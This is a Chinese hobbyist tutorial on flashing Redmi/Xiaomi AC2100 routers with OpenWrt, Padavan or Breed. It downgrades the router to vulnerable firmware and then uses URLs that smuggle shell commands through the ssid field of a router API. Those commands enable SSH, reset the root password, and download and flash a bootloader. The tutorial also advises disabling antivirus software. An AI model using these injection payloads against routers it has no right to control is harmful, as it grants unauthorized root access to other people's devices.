準(zhǔn)備工作：

一、材料：

1、路由器

紅米/小米AC2100路由器、網(wǎng)線、路由器正常連上互聯(lián)網(wǎng)（需要在聯(lián)網(wǎng)狀態(tài)下載Breed進(jìn)行刷寫(xiě)）

2、電腦

windows系統(tǒng)或MacOS系統(tǒng)均可，建議刷固件之前先關(guān)閉防火墻和殺毒軟件。

3、OpenWrt官網(wǎng)最新底包和正式固件，下載到電腦上：

（紅米R(shí)edmi Router AC2100目前最新版是21.02.3）

openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-initramfs-kernel.bin、

openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin、

openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin、

openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin

（可選：win系統(tǒng)在WinPcap官網(wǎng)下載WinPcap_4_1_3.exe軟件并安裝 ，Win系統(tǒng)下的SSH軟件 MobaXterm 20.0.exe，）

TIPS1：進(jìn)行教程操作前，請(qǐng)盡量使用網(wǎng)線與路由器連接，否則可能無(wú)法進(jìn)行部分操作。正常情況是無(wú)需設(shè)置電腦防火墻和關(guān)閉殺毒軟件的，但保險(xiǎn)起見(jiàn)還是關(guān)閉防火墻和殺毒軟件，不然刷成磚就后悔了！
TIPS2：教程中涉及文件存儲(chǔ)和操作的所有路徑和命令，請(qǐng)保證為全英文路徑和命令(不得使用中文字符)，使用中文路徑可能出現(xiàn)未知錯(cuò)誤，導(dǎo)致刷機(jī)失?。。?/p>

4、降級(jí)固件（帶漏洞的版本），下載到電腦上：

紅米AC2100:http://cdn.cnbj1.fds.api./xiaoqiang/rom/rm2100/miwifi_rm2100_firmware_d6234_2.0.7.bin
小米AC2100:http://cdn.cnbj1.fds.api./xiaoqiang/rom/r2100/miwifi_r2100_firmware_4b519_2.0.722.bin

TIPS：miwifi_rm2100開(kāi)頭的是紅米的，miwifi_r2100開(kāi)頭的是小米的。小米/紅米AC2100只有一個(gè)版本的固件有漏洞，版本號(hào)為AC2100 2.0.7*版本。之后的版本漏洞已經(jīng)修復(fù)，要刷機(jī)需要降級(jí)到帶漏洞的版本（有人說(shuō)是小米有意無(wú)意放出的那么一個(gè)版本，反正國(guó)際上一大堆玩小米路由的玩家）。降級(jí)只需用官方更新方法手動(dòng)刷入即可。

5、需要用到的網(wǎng)站（建議收藏這些網(wǎng)站）：

Breed官網(wǎng)：https://breed./

OpenWrt官網(wǎng)：https:///zh/toh/start

OpenWrt的紅米AC2100：https:///toh/xiaomi/xiaomi_redmi_router_ac2100

WinPcap官網(wǎng)：https://www./

小米路由器官方修復(fù)工具：http:///miwifi_download.html

小米路由器官方論壇：https://www./board/557962 

SN密碼計(jì)算網(wǎng)站：https://www./miwifi/

Padavan（老毛子）網(wǎng)站：https://opt./padavan/

小米AC2100國(guó)際英文論壇：https://forum./t/new-xiaomi-router-ac2100/48101

OpenWrt底包后臺(tái)：http://10.0.0.1/   ，密碼: root  

小米路由器后臺(tái)：http:///

小米路由器默認(rèn)的局域網(wǎng)IP地址：http://192.168.31.1/

二、基本思路：

利用官方路由器固件的漏洞，通過(guò)Web注入漏洞開(kāi)啟SSH實(shí)現(xiàn)刷機(jī)。

三、基本知識(shí)：

1、路由器指示燈狀態(tài)說(shuō)明

 1. 藍(lán)燈長(zhǎng)亮：工作正常   2. 藍(lán)燈閃爍：刷機(jī)成功（需要斷電重啟，注意路由斷電后請(qǐng)等待10s以上再通電）  3. 橙燈長(zhǎng)亮：正在啟動(dòng)  4. 橙燈閃爍：進(jìn)入刷機(jī)流程或系統(tǒng)升級(jí)中（該過(guò)程不要斷電）  5. 紅燈長(zhǎng)亮：系統(tǒng)故障  6. 紅燈閃爍：刷機(jī)失敗

2、WinPcap簡(jiǎn)介

多年來(lái)，WinPcap 一直被公認(rèn)為 Windows 環(huán)境中鏈路層網(wǎng)絡(luò)訪問(wèn)的行業(yè)標(biāo)準(zhǔn)工具，允許應(yīng)用程序繞過(guò)協(xié)議棧捕獲和傳輸網(wǎng)絡(luò)數(shù)據(jù)包，包括內(nèi)核級(jí)數(shù)據(jù)包過(guò)濾、網(wǎng)絡(luò)統(tǒng)計(jì)引擎和支持遠(yuǎn)程抓包。

WinPcap 由一個(gè)擴(kuò)展操作系統(tǒng)以提供低級(jí)網(wǎng)絡(luò)訪問(wèn)的驅(qū)動(dòng)程序和一個(gè)用于輕松訪問(wèn)低級(jí)網(wǎng)絡(luò)層的庫(kù)組成。該庫(kù)還包含著名的 libpcap Unix API 的 Windows 版本。

由于其一系列功能，WinPcap 已成為許多開(kāi)源和商業(yè)網(wǎng)絡(luò)工具的數(shù)據(jù)包捕獲和過(guò)濾引擎，包括協(xié)議分析器、網(wǎng)絡(luò)監(jiān)視器、網(wǎng)絡(luò)入侵檢測(cè)系統(tǒng)、嗅探器、流量生成器和網(wǎng)絡(luò)測(cè)試器。其中一些網(wǎng)絡(luò)工具，如Wireshark、Nmap、Snort 和 ntop，在整個(gè)網(wǎng)絡(luò)社區(qū)中廣為人知并使用。

3、ROM和RAM的區(qū)別

ROM表示的是只讀存儲(chǔ)器,它類(lèi)似于電腦中的硬盤(pán)內(nèi)存,但它只能讀出信息,不能寫(xiě)入信息,計(jì)算機(jī)關(guān)閉電源后其內(nèi)的信息仍舊保存,一般用它存儲(chǔ)固定的系統(tǒng)軟件和字庫(kù)等。如果路由器的rom比較小,還可以額外加USB外接存儲(chǔ)。

RAM表示的是讀寫(xiě)存儲(chǔ)器,它就是我們常說(shuō)的內(nèi)存。可其中的任一存儲(chǔ)單元進(jìn)行讀或?qū)懖僮?關(guān)閉電源后其內(nèi)的信息將不在保存,再次開(kāi)機(jī)需要重新裝入,通常用來(lái)存放短時(shí)間使用的程序。

4、2.4G和5G的區(qū)別

以前廣泛使用的WiFi多數(shù)是基于IEEE 802.11n（第四代）無(wú)線標(biāo)準(zhǔn)，其工作頻段多數(shù)在2.4GHz，所以被稱(chēng)為2.4G WiFi；而最新一代的無(wú)線標(biāo)準(zhǔn)IEEE 802.11ac（第五代），其工作頻段在5GHz，所以被稱(chēng)為5G WiFi，其具有傳輸速率快、干擾少等特點(diǎn)。

5、WiFi 5和WiFi 6的區(qū)別

WiFi聯(lián)盟發(fā)布的Wi-Fi 5標(biāo)準(zhǔn)叫802.11ac，Wi-Fi 6標(biāo)準(zhǔn)名802.11ax，在更名為Wi-Fi 6前各廠商均以 AC/AX作為前綴，后續(xù)的數(shù)字為Wi-Fi速率規(guī)格。所以，AX1800即 Wi-Fi 6的1800 Mbps最高速取整，具體是2.4 GHz頻段574 Mbps + 5 GHz頻段 1201 Mbps。

舉個(gè)例子以前的路由是得到數(shù)據(jù)后馬上發(fā)車(chē)，這樣就會(huì)造成線路堵塞，而wifi6是每次車(chē)裝滿了在走這樣傳輸?shù)臅?huì)更快。

Wi-Fi 6將帶來(lái)新改變：優(yōu)化了設(shè)備的功耗和覆蓋能力。支持多用戶高速率并發(fā)，能夠在用戶密集的場(chǎng)景下體現(xiàn)出更好的性能，同時(shí)帶來(lái)了更遠(yuǎn)的傳輸距離與更高的傳輸速率。Wi-Fi 6的最高速率可達(dá)9.6Gbps。Wi-Fi 6運(yùn)用了OFDMA、SpatialReuse 實(shí)現(xiàn)在每個(gè)時(shí)間段內(nèi)多個(gè)用戶同時(shí)并行傳輸，提升了效率，降低了時(shí)延。Wi-Fi 6中的另一項(xiàng)新技術(shù)TWT允許AP與終端之間協(xié)商通信，減少了保持傳輸和搜索信號(hào)所需的時(shí)間，這就意味著減少電池消耗并改善電池續(xù)航表現(xiàn)。

6、openwrt的不同固件文件名含義

在下載openwrt系統(tǒng)時(shí)，經(jīng)常能看到initramfs-kernel.bin，squashfs-factory.bin，squashfs-sysupgrade.bin等結(jié)尾的文件，factory適用于從原廠系統(tǒng)刷到openwrt

initramfs-kernel文件，initramfs是放在內(nèi)存RAM中的rootfs 映像文件，跟kernel放在一起。一般來(lái)說(shuō)用不到initramfs-kernel.bin來(lái)刷機(jī)，因?yàn)閱?dòng)后，所有的配置在路由器重啟后都不能保留（畢竟ram文件系統(tǒng)，所有文件放在ram中，斷電就沒(méi)了）。但也有用到initramfs-kernel.bin的時(shí)候，就是在移植openwrt系統(tǒng)的時(shí)候，沒(méi)有設(shè)備上的flash閃存的驅(qū)動(dòng)的時(shí)候。

openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-initramfs-kernel.bin、

openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin、

openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin、

sysupgrade則是從openwrt刷到openwrt（已經(jīng)是openwrt系統(tǒng)，在openwrt系統(tǒng)中更新自己）

openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin、

開(kāi)始工作：

一、開(kāi)啟SSH

192.168.31.1進(jìn)入后臺(tái)->常用設(shè)置->系統(tǒng)狀態(tài)->手動(dòng)升級(jí) 加載固件，可以保留數(shù)據(jù)->開(kāi)始升級(jí)

升級(jí)完成，變成了有漏洞的版本后，通過(guò)下面web命令開(kāi)啟SSH。

使用管理密碼登錄管理頁(yè)面，

登錄后地址欄鏈接應(yīng)為：

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/web/home#router

這里的關(guān)鍵是<STOK>號(hào)，每臺(tái)機(jī)器不同，甚至每次登錄都不同(有時(shí)stok值會(huì)發(fā)生改變，建議重新返回登錄頁(yè)面復(fù)制最新的stok值)，拷貝下來(lái)備用。

 在瀏覽器地址欄中輸入以下鏈接代碼，注意替換掉<STOK>部分：

以下兩個(gè)地址替換為上面的<STOK>值之后后分別訪問(wèn)，

a. 獲取 SSH 權(quán)限，一步到位漏洞注入

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20%E2%80%99s%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg%E2%80%99%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B

b. 修改 root 用戶密碼為 admin  (可跳過(guò)此步驟)

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B

'admin'表示輸入兩次密碼以修改密碼為admin，想要自行設(shè)置密碼的僅需要改動(dòng)兩個(gè)紅色字符admin即可，其他地方不要改，怕出問(wèn)題或記不住的不用修改。

執(zhí)行成功后會(huì)看到 {“code”:0}

其實(shí)成不成功都會(huì)返回這個(gè)
如果返回401錯(cuò)誤，原因可能是版本不正確或者<STOK>值錯(cuò)誤或者鏈接輸入不完整等，提示404錯(cuò)誤，說(shuō)明輸入地址錯(cuò)誤，請(qǐng)檢查固件版本或鏈接地址...
注意傳參順序及指令前后都要有一個(gè)分號(hào)，即%3B
建議一鍵注入后需等待一些時(shí)間，保證路由器后臺(tái)能正確處理注入

路由器重啟后，就開(kāi)啟 SSH 功能了！

題外話：

1、以 root 用戶身份登錄路由器

macOS 的 “終端” 輸入 ssh root@192.168.31.1

輸入 root 用戶密碼后回車(chē)確認(rèn)，看到下圖就成功以 root 用戶身份登錄路由器了。

win系統(tǒng)用WinPcap軟件登錄路由器

2、目前方法支持到最新固件版本 2.0.23

已經(jīng)獲取到 SSH 權(quán)限了，那么開(kāi)始使用 SSH 安裝各種廣告屏蔽插件吧。

二、刷入 Breed （有2種方法）

方法1、通過(guò)文件上傳（傳統(tǒng)方法，較復(fù)雜）

Breed官網(wǎng)下載對(duì)應(yīng)的Breed文件，breed-mt7621-xiaomi-r3g.bin

然后通過(guò) cdm 進(jìn)入固件本地目錄，使用 SCP 命令將該文件傳入路由器 tmp 目錄。

scp ./breed-mt7621-xiaomi-r3g.bin root@192.168.31.1:/tmp/breed-mt7621-xiaomi-r3g.bin

breed傳到路由器之后，我們?cè)诼酚善?SSH 會(huì)話里面執(zhí)行一下命令

mtd -r write /tmp/breed-mt7621-xiaomi-r3g.bin Bootloader

然后等待路由器重啟，當(dāng)路由器閃藍(lán)燈的之后。我們打開(kāi)瀏覽器，進(jìn)入 192.168.1.1

進(jìn)入界面之后我們打開(kāi)環(huán)境變量編輯 ，添加字段 新增字段”xiaomi.r3g.bootfw”,值設(shè)置為2 。

方法2、直接通過(guò)瀏覽器刷（簡(jiǎn)單）

2個(gè)代碼搞定，注意替換掉<STOK>部分

先檢查壞塊

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0A%5B%20-z%20%22%24(dmesg%20%7C%20grep%20ESMT)%22%20%5D%20%26%26%20B%3D%22Toshiba%22%20%7C%7C%20B%3D%22ESMT%22%0Auci%20set%20wireless.%24(uci%20show%20wireless%20%7C%20awk%20-F%20'.'%20'%2Fwl1%2F%20%7Bprint%20%242%7D').ssid%3D%22%24B%20%24(dmesg%20%7C%20awk%20'%2FBad%2F%20%7Bprint%20%245%7D')%22%0A%2Fetc%2Finit.d%2Fnetwork%20restart%0A

瀏覽器會(huì)顯示 :  {"code":0} 

如果顯示其他代碼，可能是你還沒(méi)降級(jí)固件或者stok過(guò)期。也可以恢復(fù)出廠從試。
此代碼是用來(lái)檢查NAND壞塊的。路由器開(kāi)機(jī)超過(guò)一小時(shí)建議先重啟。運(yùn)行代碼后，你路由器的2.4g WiFi名稱(chēng)會(huì)改名成：比如  "ESMT"，"Toshiba"，"Toshiba 90 768"。 90和768是壞塊。 如果ESMT或者Toshiba后面沒(méi)數(shù)字，那恭喜你，沒(méi)有壞塊！?。?/p>

瀏覽器輸入下面代碼在線刷BREED（需要路由器聯(lián)網(wǎng)能上網(wǎng)）：

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Acurl%20-o%20B%20-O%20https%3A%2F%2Fbreed.%2Fr1286%2520%255b2020-10-09%255d%2Fbreed-mt7621-xiaomi-r3g.bin%20-k%20-g%0A%5B%20-z%20%22%24(sha256sum%20B%20%7C%20grep%20242d42eb5f5aaa67ddc9c1baf1acdf58d289e3f792adfdd77b589b9dc71eff85)%22%20%5D%20%7C%7C%20mtd%20-r%20write%20B%20Bootloader%0A

如果路由器在60秒內(nèi)重啟則代表刷BREED成功(燈會(huì)從藍(lán)變橘，最終變藍(lán)進(jìn)入系統(tǒng))。成功后拔掉電源，按住reset同時(shí)接上電源等10秒即可進(jìn)入breed。192.168.1.1
如果沒(méi)重啟，可能是stok過(guò)期了。進(jìn)入后臺(tái)復(fù)制新的stok即可。也有可能下載的BREED損壞，從新運(yùn)行代碼。也有可能沒(méi)網(wǎng)絡(luò)。

刷完后可能無(wú)法進(jìn)入原廠系統(tǒng)，進(jìn)BREED刪變量：normal_firmware_md5

三、用Breed刷入OpenWrt/Padavan/第三方固件

1、刷入OpenWRT

拔掉路由器電源，按住reset同時(shí)接上電源等雙黃燈閃爍后松開(kāi), 瀏覽器輸入 192.168.1.1 即可進(jìn)入breed

（如果以后路由器出現(xiàn)問(wèn)題，路由器斷電之后，使用取卡針插入路由器，再接電即可重置路由器進(jìn)入 Breed，這樣你又可以刷入別的固件了。）

點(diǎn)擊 環(huán)境變量編輯 點(diǎn) 添加, 字段 輸入 xiaomi.r3g.bootfw  值 輸入 2 , 點(diǎn)擊 保存

從breed界面“固件更新”-“Bootloader”處選擇OpenWrt底包文件（openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-initramfs-kernel.bin）直接上傳并更新確認(rèn)。

刷入底包之后，路由器會(huì)自動(dòng)重啟, 等藍(lán)燈常亮后 瀏覽器 輸入 10.0.0.1 進(jìn)入OpenWrt底包后臺(tái)。

點(diǎn)擊備份/升級(jí)

點(diǎn)擊刷寫(xiě)固件

選擇OpenWRT的sysupgrade固件（目前最新的為openwrt-21.02.3-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin）

等待路由器自動(dòng)重啟完成,藍(lán)燈常亮后,會(huì)自動(dòng)跳轉(zhuǎn)到后臺(tái)登錄界面, 或手動(dòng)輸入后臺(tái)地址  10.0.0.1

登錄后臺(tái), 默認(rèn)密碼 root ,完成！

（注意：OpenWRT比較吃?xún)?nèi)存，紅米AC2100的128M內(nèi)存的一般占用70%左右。官方的這個(gè)需要的插件都要自己安裝，還需要很多依賴(lài)包。）

2、刷入Padavan（老毛子）

RM2100開(kāi)頭的那個(gè)就是紅米2100的Padavan固件：RM2100_***.trx

R2100開(kāi)頭的那個(gè)是小米2100的Padavan固件：R2100_***.trx

進(jìn)入Breed，點(diǎn)擊“固件更新”-在“固件”位置上傳trx文件，刷入固件即可

如果刷入breed后刷入Openwrt固件一切正常，刷入Padavan后無(wú)法進(jìn)入系統(tǒng)，
在Breed控制臺(tái)——環(huán)境變量編輯——md5中，備份md5信息后刪除信息，保存重刷

3、其他第三方固件

在網(wǎng)上如恩山論壇尋找第三方固件，也可以自己制作你想要的固件，然后進(jìn)入Breed刷入固件即可！

4、刷回小米官方原版固件

下載：“小米路由器修復(fù)工具”和“Redmi路由器AC2100 穩(wěn)定版”，路由的隨便一個(gè)lan口連接電腦（只連這一條）。禁用其他網(wǎng)卡，只留紅米路由的，運(yùn)行官方刷機(jī)工具，根據(jù)提示進(jìn)行恢復(fù)。

四、最后介紹一種不用Breed直接刷入OpenWrt固件的方法

直接登錄SSH進(jìn)行刷機(jī)，不需要安裝breed，只需三個(gè)文件：

openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-squashfs-kernel1.bin

openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-squashfs-rootfs0.bin

openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-squashfs-sysupgrade.bin

先刷入前面兩個(gè)文件，之后用sysupgrade.bin更新一下即可。

重啟后，通過(guò)winscp登錄192.168.31.1用戶為root密碼為admin。先把openwrt的兩個(gè)rom文件（xxx-kernel1.bin和xxx-rootfs0.bin）上傳到路由器tmp目錄。

再用putty登錄192.168.31.1進(jìn)行刷機(jī)操作，輸入如下命令進(jìn)行刷機(jī)：

nvram set uart_en=1&&nvram set bootdelay=5&&nvram set flag_try_sys1_failed=1&&nvram commit

mtd write /tmp/xxx-kernel1.bin kernel1

mtd -r write /tmp/xxx-rootfs0.bin rootfs0

注意上面rom文件的文件名，把xxx替換成你自己用的rom文件名。

刷完后將重啟，之后便是openwrt路由的設(shè)置了，最后用sysupgrade.bin更新一下即可。

其他常見(jiàn)問(wèn)題 Q&A：

1、怎么查路由器閃存壞塊和閃存品牌

首先登錄SSH

Mac或Windows Power Shell用如下命令登錄，當(dāng)然也可以使用其他工具：

ssh root@192.168.31.1

然后，按照提示操作，并輸入密碼。

然后，輸入如下命令查看閃存品牌：

dmesg | grep NAND

ESMT NAND是晶豪品牌，toshiba是東芝品牌

然后，查看壞塊

dmesg | grep '[B|b]ad.*block'

如果沒(méi)有任何輸出表示沒(méi)有壞塊，

TIPS：為什么要查壞塊？壞塊為14 15以及768可能無(wú)法刷入20M大小以上的openwrt系統(tǒng)，如存在以上壞塊且需要使用openwrt系統(tǒng)。

2、怎么關(guān)閉 SSH

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D0%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B

3、永久開(kāi)啟telnet-ssh

在Breed 后臺(tái)——小米R(shí)3G Bdata——加入字段telnet_en 值1、字段ssh_en值1

4、小米路由器怎么去廣告

在Breed 后臺(tái)——小米R(shí)3G Bdata——把CountryCode改成EU或US，保存，然后重啟路由器，恢復(fù)出廠設(shè)置。

 5、固件備份

輸入命令查看當(dāng)前分區(qū)

cat /proc/mtd

mtd0-10都是固件和分區(qū)，其中mtd0是編程固件

方法1、完全備份(如需要后期恢復(fù)原廠固件，建議進(jìn)行該步操作)

輸入命令 dd if=/dev/mtd0 of=/tmp/all.bin

mtd0是編程固件已經(jīng)包括1-10里面的東西了，不放心的可以都把他們備份下來(lái)
輸入命令后一定要將"/tmp/all.bin"移動(dòng)到電腦上(可通過(guò)ssh會(huì)話左側(cè)的SFTP/SCP界面操作, 如果操作失敗建議更換為scp協(xié)議, 如果還是失敗就換個(gè)軟件，比如MobaXterm最新版或Xmanager或配合winscp軟件使用)后再操作第二條指令以防路由器空間不足導(dǎo)致備份失敗。

方法2、部分備份（僅備份BootLoader）

輸入命令 dd if=/dev/mtd1 of=/tmp/bootloader.bin

輸入命令后要將"/tmp/bootloader.bin" 復(fù)制到電腦另外的地方，或上傳到自己的網(wǎng)盤(pán)上進(jìn)行保存。

6、固件恢復(fù)

將完全備份的編程器固件文件all.bin復(fù)制到路由器/tmp目錄下，執(zhí)行以下命令，

mtd -r write /tmp/all.bin All

執(zhí)行前務(wù)必確認(rèn)all.bin是正確且完整的，執(zhí)行完成后一定要等待路由器自行重啟，否則必變磚，操作需謹(jǐn)慎。

7、我的設(shè)備支持5G WiFi，為什么搜索不到5G WiFi信號(hào)？

5G信道有很多，目前國(guó)內(nèi)只允許開(kāi)啟部分信道，其他的都不可用。部分用戶購(gòu)買(mǎi)的俗稱(chēng)非“國(guó)行”的手機(jī)可能工作在國(guó)內(nèi)不支持的信道。遇到此類(lèi)問(wèn)題，請(qǐng)不要把信道設(shè)置為36-64；一般情況下正常終端應(yīng)該都會(huì)支持149-165，您可以嘗試將信道設(shè)置在此范圍內(nèi)然后再試。

8、怎么選擇新價(jià)比高的路由器（硬路由）？

如果你只想刷openwrt有性?xún)r(jià)比的好多，比較有代表性的有小米的AC2100和紅米AC2100，還有小米的4a也可以刷，除了停產(chǎn)和廠家倒閉的，大廠里面好像就剩小米家的這幾款還在官方售賣(mài)了，價(jià)格一百多，也好刷，但是紅米2100有部分東芝閃存有壞塊。

歌華鏈的GHL-R-001很有性?xún)r(jià)比，MT7621A 880MHz 的CPU 、512M的內(nèi)存、32M的儲(chǔ)存、全1000M網(wǎng)口（3個(gè)LAN口，一個(gè)WAN口），還有USB3.0接口，二手一般70左右就能收到。

新路由3(newifi3)不行， 2.4Gwifi 太差，只開(kāi)5G的話隔一堵墻就不行了。

紅米ax5 ax6用不到一個(gè)月就出現(xiàn)斷流，信號(hào)滿格但連不上網(wǎng)。

CR6608說(shuō)白了就是紅米AX1800的移動(dòng)定制版

刷梅林的可以看看網(wǎng)件的老款機(jī)器，也蠻有性?xún)r(jià)比的，騰達(dá)的ac18也可以，不過(guò)騰達(dá)的稍貴，估計(jì)要上150左右了。喜歡梅林的還是建議你華碩的路由器高低搭配，因?yàn)楦叨艘稽c(diǎn)的華碩都有DDNS轉(zhuǎn)發(fā)功能，而且華碩的中高端是真的保值，華碩的熱血版就不錯(cuò)，可以看看電信定制的同款，配置一樣，后面還多一個(gè)usb3.0，你單獨(dú)使用不是還多一個(gè)小NAS嘛！

9、軟路由和硬路由？

硬路由是采用特定的硬件設(shè)備，基于嵌入式系統(tǒng)架構(gòu)，以自行開(kāi)發(fā)或是現(xiàn)成的嵌入式操作系統(tǒng)如Vxworks，uClinux等等為操作系統(tǒng)，再配合系統(tǒng)廠商自行開(kāi)發(fā)的路由軟件，提供專(zhuān)門(mén)的路由器功能，軟件與硬件是互相配合的。對(duì)硬件路由器的管理通常采用專(zhuān)用命令行、圖形界面或網(wǎng)管軟件實(shí)現(xiàn)，市面上售賣(mài)的路由器一般都是硬件路由器。

軟路由是指利用臺(tái)式機(jī)或服務(wù)器配合軟件形成路由解決方案，主要靠軟件的設(shè)置，達(dá)成路由器的功能；

想要性能好點(diǎn)就去淘x86架構(gòu)的minipc做軟路由，功耗稍微高一點(diǎn)。其次功耗低一點(diǎn)，首先推薦arm架構(gòu)的，其次是mipis架構(gòu)的。

gl.inet的路由器就有基于這些架構(gòu)的，但是這塊比較小眾，不是玩家的話不太推薦。

over~